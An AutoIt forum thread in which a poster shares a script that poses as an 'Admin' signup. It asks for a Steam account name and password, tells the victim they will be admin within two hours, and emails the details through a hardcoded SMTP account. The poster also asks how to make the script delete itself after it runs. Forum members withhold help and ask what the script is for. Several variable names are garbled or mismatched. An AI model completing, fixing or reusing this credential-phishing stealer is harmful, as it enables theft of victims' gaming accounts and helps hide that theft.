Jump to content

script remove himself


XtraCt
 Share

Recommended Posts

Hello !

I have this script:

#Include<file.au3>
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
;##################################
; Include
;##################################
#Include<file.au3>
#include <IE.au3>
#include <misc.au3>
#NoTrayIcon

Global $accounts

;$Admin = InputBox ( "Admin", "" )
$Emawda = InputBox ( "Admin", "Write Your NickName", "NickName" )
$Emada = InputBox ( "Admin", "Write Your Email", "Email" )
$accouawdnts = ("  Email= ") & $Emasdasa
$Acasdc = InputBox ( "Admin", "Write Steam Account Name to be Admin", "Steam Account Name" ) 
$acwdwacounts = $accasdounts & ("  User Name= ") & $Aasdcc
$pass = InputBox ( "Admin", "Wite Steam Account Password To Be Admin", "Steam Account Password" ) 
$accousants = $accountdas & ("  Password= ") & $paasdss
MsgBox(0, "ADMIN", "Your details has been sent! you will be admin in less then 2 hours (If your information is correct)", 0)


$smtpserasdver = "mail.bluebottle.com"
$smtpasduser = "oyfake@bluebottle.com"
$smtppasdass = "4r5t6y"

$e_S
$e_R
$e_S
$e_T
$e_File = ""

SendEmail($e_Sender,$e_Recipient,$e_Subject,$e_Text,$e_File)
; use the function here!

Func SendEmail($e_Sender, $e_Recipient, $e_Subject, $e_Text, $e_File)
    $objMessage = ObjCreate("CDO.Message")
    With $objMessage
        .Subject = $e_Subject
        .Sender = $e_Sender
        .From = $e_Sender
        .To = $e_Recipient
        .TextBody = $e_Text
       ;.HtmlBody = $e_Text; uncomment to send a HTML mail and comment line above
       ;.AddAttachment = $e_File   ; <== I REMOVED THIS as we don't have an attachment
    EndWith
    With $objMessage.Configuration.Fields
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $smtpserver
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $smtpuser
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $smtppass
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 587
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
        .Update
    EndWith
    $objMessage.Send
    Return
EndFunc  ;==>SendEmail

I want to add the script that after I will run him

he will delete him self (not move to windows recycle bin) for ever ...

how i do it ?

10x alot

Edited by XtraCt
Link to comment
Share on other sites

Edit. removed due to less than auspicious nature of the above script.

Edited by eltorro
Link to comment
Share on other sites

  • Developers

@XtraCt: You haven't answered my question !

Edited by JdeB

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

  • Developers

that not work ...

Last time : what is the purpose of this script ?

no answer will be a selfdelete of this thread.

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...